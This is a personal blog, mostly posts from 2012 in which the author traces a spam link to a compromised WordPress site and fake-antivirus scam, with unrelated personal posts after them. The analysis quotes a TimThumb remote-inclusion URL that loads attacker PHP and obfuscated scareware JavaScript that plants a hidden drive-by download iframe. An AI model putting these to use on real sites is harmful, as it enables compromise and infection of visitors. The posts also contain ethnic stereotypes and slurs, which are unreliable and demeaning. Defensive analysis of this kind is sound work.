Skip to content

Likely Entry Point

13-May-12

Looking at the poor bloke (I tried to contact him, but he hasn’t returned my email) running projectorange.sg to spot the vulnerability I notice the obvious and investigate… The attacker link came off of the twentyten theme for wordpress http[:]//projectorange.sg/wp-content/themes/twentyten/blog.php?total176.bmp

Digging a little deeper I see that twentyten was one of a bajillion themes that included the highly vulnerable TimThumb plugin. The plugin was designed to allow you to upload images from remote websites that you use as a conveniance.

/ external domains that are allowed to be displayed on your website
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
);

The problem as documented elsewhere is that one of these domains merely has to be located SOMEWHERE in the url. As such a hacker controlled site freepharm.ru could put a sub-domain picasa.com in his url and upload away. Once the attacker can get the server to run his/her code it’s game over. The attacker can put in a simple adduser script to give himself access, or as we have seen with our projectorange.sg friend, append a file with a url re-direct to the site of our choosing.
example url of our malicious file: http[:]//picasa.com.freepharm.ru/malicious.php
To execute it remotely the attacker would of typed in something along the lines of…
http://projectorange.sg/wp-content/themes/twentyten/timthumb.php?src=http://picasa.com.freepharm.ru/malicious.php
The server has no problem running that if it is running this older version of timthumb. Once this vulnerability was released into the wild quite awhile ago spam pushers all over scanned the internet for vulnerable sites and compromised them. Given the popularity of wordpress and timthumb I would say the numbers are probably in the 10k+ region. Unless the site owner is contacted, it is common for owners that aren’t looking at their code often to not even realize that their site is infected.

Minor update on WordPress link

13-May-12

It appears that the blog now points to an intermediary foxnewsguide.ru which a Russian RIPN search reveals was bought on May 9th (1 day before the scam launched), 3/31 Scanners flag it as malicious and the site is being used as a middleman to further stretch the trail. Currently foxnewsguide.ru has its location pointed to the same the7news.com page… For now. Now doubt this will be moving fast.

Heare is the header for foxnewsguide.ru

HTTP/1.1 302 Found
Date: Mon, 14 May 2012 01:27:10 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze9
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 14 May 2012 01:27:10 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://the7news.com/weeknews/lastnews.php?i=
Vary: Accept-Encoding
Content-Type: text/html

A traceroute on the IP (178.162.248.20) which was the self issuer of the fradulent cert for the shopping cart is now actually resolving to a German hosting company called Leaseweb operating out of Frankfurt. Surprise surprise the leaseweb ip of 89.149.218.210 is associated with fradulent activity.

WordPress vulnerabilities, obfuscation, fake AntiVirus, and Eastern Europeans in track suits.

12-May-12

I recently got an email in my gmail account that did not get flagged by the SPAM filter and I thought I might go into a small explanation of what is going on for those out there that may be getting links in their email, but don’t know why.
The suspect email was from a client that I had made a website for in the past, and thus our previous correspondence kept google from flagging it as SPAM. The email simply had a link to what appeared to be an image on a blog. No big deal, but since it was sent to multiple people without any other words it was obviously not normal. The first thing to do is to view the actual email in original format. This lets you look at important information not available in a regular view. I have replaced all the names with placeholders. As you can see in the code below way more info is given. At first glance things look pretty cosher. The return path is the same address as the sender, the email went through a hotmail server which would makes sense since msn owns hotmail. @phx.gbl looks a little fishy, until I do a bit of research into legit emails coming from msn/ hotmail, turns out it is normal….

Message-ID: BAY147-W17544747B957A173463B9ECA160@phx.gbl

HOWEVER, I know something is up when I do a trace on:

X-Originating-IP: [178.223.132.199]
And I get the following results: Lattitude: 44.818611, Longitude: 20.468057 GMT+2
Hmmmmm…., That is an ISP by the name of Telekom Srbija Adsl operating out of Belgrade, Serbia!! The only legit thing to come out of Serbia is… ok, I don’t know.
Anyhow here is the whole email in the raw:
————————————————————————————————————
Delivered-To: XXXXXXX@gmail.com
Received: by 10.52.173.36 with SMTP id bh4csp84701vdc;
Thu, 10 May 2012 07:10:17 -0700 (PDT)
Received: by 10.50.10.225 with SMTP id l1mr2645909igb.1.1336659015564;
Thu, 10 May 2012 07:10:15 -0700 (PDT)
Return-Path:
Received: from bay0-omc3-s24.bay0.hotmail.com (bay0-omc3-s24.bay0.hotmail.com. [65.54.190.162])
by mx.google.com with ESMTP id gb6si1713633igc.61.2012.05.10.07.10.15;
Thu, 10 May 2012 07:10:15 -0700 (PDT)
Received-SPF: pass (google.com: domain of XXXXXXX@msn.com designates 65.54.190.162 as permitted sender) client-ip=65.54.190.162;
Authentication-Results: mx.google.com; spf=pass (google.com: domain of XXXXXXX@msn.com designates 65.54.190.162 as permitted sender) smtp.mail=XXXXXXX@msn.com
Received: from BAY147-W17 ([65.54.190.189]) by bay0-omc3-s24.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
Thu, 10 May 2012 07:09:46 -0700
Message-ID:
Return-Path: XXXXXXX@msn.com
Content-Type: multipart/alternative;
boundary=”_d0267811-62ef-48bf-9d36-2d29cb40d874_”
X-Originating-IP: [178.223.132.199]
From: XXXX XXXX
To:
Subject:
Date: Thu, 10 May 2012 07:09:46 -0700
Importance: Normal
MIME-Version: 1.0
X-OriginalArrivalTime: 10 May 2012 14:09:46.0808 (UTC) FILETIME=[8E307B80:01CD2EB6]

–_d0267811-62ef-48bf-9d36-2d29cb40d874_
Content-Type: text/plain; charset=”iso-8859-1″
Content-Transfer-Encoding: quoted-printable

h t t p[:] / / projectorange.sg/wp-content/themes/twentyten/blog.php?total176.bmp

Ok, lets take a look at the link now that we are paranoid…
Projectorange.sg turns out to be legit enough despite the sketchy name:
Networksolutions tells me it was registered on 16-Dec-2010 and bought for two years. RARELY do cons and spammers want to own a domain for more than a month, let alone two whole years. The contact is yihan666@yahoo.com, oOooo evil… The DNS servers are with dreamhost.com and there doesn’t appear to be any dynamic dns or fast flux action going on which allows malware pushers to change the IP associated with a domain name every few minutes or hours so that shutting them down is a real pain.
Next I check out the site through URLvoid.com’s online tool which allows me to check for malware using multiple scanners at once. I’m already guessing this isn’t a nice .bmp image of a sunset from our Serbian friend (making an assumption.. in all reality he is probably from one of the former Soviet blocks and just bouncing off that server..)

URLVoid’s results.
0/30 (0.00%) CLEAN, IP Address: 67.205.55.145

Wow, could it be that it really is an innocent site? Hell no, The last time this was scanned was 5-5-2012, and I can assume the site got infected around the day I got my email ( 5-10-2012)
So I force URLVoid to rescan and…..wtf…. (0/31) CLEAN again!??! Maybe I should just go to the site? No. Why? First off, it came from Serbia. Do not trust them, just ask an Albanian.

So now I use URLVoid’s content dump tool to see what code is there without actually executing it myself. Out of all the code I’ll just point out some of the interesting bits… From a glance I can tell it is scareware that tells you your computer is infected and then when you click on their anti-virus product to clean your computer you actually download the viruses. Here are some of the funny bits.
————————————————————————————————————
<;div class="text1">;To help protect your computer, Windows Web Secure Kit have detected Trojans and ready to remove them.<;/div>;<;div class="virusname" id="hazardType">;
<;div class="virus_1_1">;noise.dat<;/div>;
<;div class="virus_1_1">;emptyregdb.dat<;/div>;
<;div class="virus_1_1">;mpr.dll<;/div>;
<;div class="virus_1_1">;ieakui.dll<;/div>;
<;div class="virus_1_1">;SET3.tmp<;/div>;
<;div class="virus_1_1">;country.sys<;/div>;
<;div class="virus_1_1">;ahui.exe<;/div>;
<;div class="virus_1_1">;popcinfo.dat<;/div>;
<;div class="virus_1_1">;dsdmo.dll<;/div>;
<;div class="virus_1_1">;Active Setup Log.txt<;/div>;
<;/div>;

Amazingly enough this website knows which of your files are infected without having access to your computer (remember I dumped the code from the URLVoid.com website….

function obu() {
var ff=navigator.userAgent;
var a="Firefox";
ff=ff.indexOf(a);

if (ff!=-1) ra2();

var o1 = ‘Y’+'o’+”+’ur’;
var o3 = ‘i’+'s a’+”+’t risk ‘;
var o4 = ‘o’+'f cr’+”+’ash. ‘;
var o5 = ‘Pr’+'ess’+”+’ CANCEL ‘;
var o6 = ‘t’+'o pre’+”+’vent it. ‘;
return o1+’ sy’+'s’+”+’tem ‘+o3+o4+o5+o6;
}

Here you can see some more obfuscation to avoid detection by scanners that pick up keywords for scareware and fake AV. Quite the creative way to say “Your System is at risk of crash. Press Cancel to prevent it.”

<;div class="text2" id="text2">;<;/div>;
<;div class="remove" onClick="ra2();return false;">;<;/div>;
<;div class="cancel" onClick="ra2();return false;">;<;/div>;
<;/div>;

Let the program remove the files, or say cancel, either way it is going to do the same thing! The power of choice…… That’s why you should always Ctrl + Alt + Delete your way out of a prompt. Also worth noting is that clicking on the link will bring you to the blog.php page since the .bmp image doesn’t exist. I could type in blog.php?blahblahblah.jpg and it still resolves to the blog.php code, the .bmp is just there to throw off victims and to make them think that they are going to view an image. In just the last 24 hours the attacker had modified his drive by download code from.

function rand1(){
var h1 = '<;if'+''+'rame ';
var i1 = 'src="down'+''+'load/" ';
var t1 = 'style="'+'';
var o1 = 'width: 0px; '+'';
var a1 = 'height: 0px; '+'';
var l1 = 'border: 0px;'+'';
var ll1 = l1+'">;<;/if'+''+'rame>;';
document.getElementById('rand1here').innerHTML = h1+i1+t1+o1+a1+ll1;
}

Which is an obfuscated way of inserting an invisible embedded page with the download/ directory in it which no doubt contains a payload. The obfuscation is to avoid detection techniques by HIDS, and AV/endpoint protection programs. It must be working because 0/31 AV vendors thought anything fishy was going on….
The attacker must of started to have his download numbers drop because today he replaced the obfuscated iframe code with just the last snippit:

function ra2(){ document.getElementById('raif').src='download/';
}

I hope it’s working out for him… The rest of the code is just a bs malware scanner that goes through random file names and pretends to be scanning as you are downloading the real virus. No lets go visit our attack code in a Virtual Machine that is running XP SP2 and the always vulnerable Internet Explorer. AV and firewall are off, let’s see what happens…..

An immediate re-direct to the7news.com with a forced download of Adobe Flash Player. The fake malware scanner didn’t pop up because it was probably looking for a certain IE that contains a common vulnerability. So it decided to go on to the next stage of the scam. The crooks appear to have taken the time to get their phony adobe flash Trojan digitally signed, or is this a legit flash installation? Going to Adobe and looking at their cert reveals everything appears to be the same except the file signing date is off. Adobe signed theirs in early April, but this was signed at the end of the month by Verisign. Odd, but maybe a new update/build came out at the end of the month… Once you run the real flash file it gives you the exe name Install_Flash_Player_AIH.exe and it is coming from the legit adobe server (aihdownload.adobe.com). However with the flash file being signed properly by Adobe it seems legit.. unless of course a certificate authority has been compromised (happened a few times last year).

Let’s dig on “the7news.com”
URLvoid says, 2/31 detected malware. What is alarming is that MOST of your normal scanners gave it a green light as infection free. The domain was bought on May 8th, or two days before I got the spam. Scanning the IP where it is located gives us the following info:
46.108.132.130
No location info… So we are probably dealing with a domain that has an IP changing constantly to avoid servers getting shut down. Compromised victim machines can be used to host both the domains and the malicious code that is being pushed.
The domain name itself?
The7news.com domain is owned by Mitich Vladko who resides in Buharest Romania and can be contacted at vladkomitill@ymail.com, no doubt just another honest Romanian trying to help people out with stay at home work schemes. Right…

The site has a large collection of .js popups designed to piss you off and get you to stay, but more than anything it is just an annoyance. If you click on any of the links you get directed by scams from businesssystemworld.com, obviously an affiliate getting kickback if they aren’t owned by the same person.
So lets figure out if the flash is legit or malware…

I’ve got netstat running on the victim box with an active connection to the suspected server (46.108.132.130) going. Let’s see if anything gets downloaded from another IP.
Surprisingly enough no outbound traffic occurred out of the norm and all signs point to it actually being a legit Flash Download. Which renews my faith in Verisign certificates. Ok, lets look at the businesssystemworld.com site that I am getting funneled towards. When I get there it says I need to get the NEWER version of flash. Newer than the legit new one I just got? I’m interested… Clicking on the flash prompts launches some javascript that forwards me to pay for this work at home kit. Which then takes me to an order form with an invalid certificate (which Internet Explorer caught. Don’t ignore certificate warnings.)

Oh, wow this cert was issued the day before I received my spam! These operations typically only last a week or two before they more on to the next set of domains. Notice that the cert is not trusted by the root Cert Authority. Basically it is like saying, yeah, it’s encrypted, but who the hell knows who is on the other side….

Once again, this IP (178.162.248.20) is traced back to no one. That’s not an accident… More to the point, they issued themself the certificate instead of a registered cert authority like Verisign.
The “legit” order form looks nice enough if you are gullible I suppose. I love all the emphasis on security.

I’m not going to go through with a purchase, but they probably do the one charge, then tack you onto a monthly plan to pay for something in the fine print. They typically don’t want to piss you off enough that you call your cc company to get a refund.

In my next post I will try to visit the initial attack code with a more vulnerable setup to actually get the malware on my system instead of merely being sent to a scam site. I’m also going to do a posting tomorrow to try to figure out what vulnerability on the original site led to his compromise.

Arlington National Cemetary

29-Jan-12

Jenn and myself had a walk around the Arlington National Cemetery on Saturday. Here are a few pics that sum up the feeling of the area for me. Watching the changing of the guard for the tomb of the unknown soldier was very impressive in both ceremonial coordination and meaning.

Steve Jobs Legacy

27-Jan-12

Jenn lovingly gives me shit for having a “blog” or feeling important enough to think that my word should be spread across the interweb, but I’ve never really considered this a blog. More of a way to share pics and info with the select few friends/family that even know this site exists.

That being said this is a blog entry… even if it is a bit late.

It has really stuck in my side that Steve Jobs passing has been such a big to do, whereas one of the co-founders of Unix by the name of Dennis Richie (hello….OSX is built off Unix) died in the same timeframe and it made no splash. Why does the public give two shits about Jobs? Maybe it is the legacy of 50cent and the rags to riches story the public loves, maybe it is how slick Apple products look and feel as opposed to the old office PC aesthetics. Personally I can’t see why anyone is crying other than perhaps hungry MBA students who look up to his model of greed and growth. While Bill Gates has taken to philanthropy in a huge way (he just gave away another 750 mill) Jobs was remarkably absent in his later years. A Washington Post article notes that when he returned to Apple in 1997 after being forced out, one of the first things Jobs did was disband Apple’s philanthropic programs and never reinstated them “despite $14 billion in profit last year.”

He was unabashedly pragmatic about outsourcing everything to China/Taiwan and the monolith factories of Foxconn because they are supposedly the only ones that could handle his voracious demand for new products in such a timely manner. How about not releasing a fucking minor hardware update every 200 days that has millions lining up at Apple stores? Nevermind the worker conditions that have caused a string of suicides, or his gestapo like tactics on snuffing out workers that leak info on the next god device. His famous 1984 video where the tyranny of IBM is destroyed by free thinking apple users is now oddly reminiscent to a Foxconn factory with it’s rows of worker bees. He became the exact thing that he demonized and in return we all mourn his loss like he changed the world? I look at my iPhone and think iSuck for being a sheep that bought in without thinking about the bigger Apple legacy. At least I have learned, my next computer will not be silver because I too have learned to “think different.”

Arbeit Macht Frei

(note: Apple recently sued a company for making a doll of Jobs because they own his likeliness. Reminds me of a certain group of fanatical retards getting excited about a cartoon of a religious figure.)

Quikset

26-Jan-12

I took this awhile ago, but am finally getting around to posting it… Just thought it was worthwhile to let everyone know just how much of a joke the cheapo door locks you buy at a hardware store are. Really more of a trust device than a security one. As in “I trust if you are in my house you are breaking in and not lost”. My two cents…

Oh hey there…

21-Jan-12

We have a friendly neighbor. From a distance it appeared to be an Owl, but upon closer inspection we have a falcon for a neighbor. From my bird book I think she is a Peregrine falcon, but I am not sure since the markings on the face do not seem to match. Click on the pic for the full size. I’m sure you will be able to tell me what she is Dad.

DC is a Zoo

28-Aug-11

Here is a few quick snaps from our trip to the Smithsonian Zoo.  Sadly the gorillas and big cats were not in attendance this day.  Naturally getting pictures at the zoo is nearly impossible since everyone is behind glass or metal rods so I ended up taking a few random pics other than the butterflies in the insect house.

Cad of Motor and shaft for axial flow turbine…

20-May-11

Last Rendering

25-Apr-11

The ROV is nearing build completion, but I thought I would throw up my final CAD rendering for the hell of it.  Here is a snap of the wellhead plug that I designed and fabricated as well.  Further info as always will be over at rov.sayndesyn.com.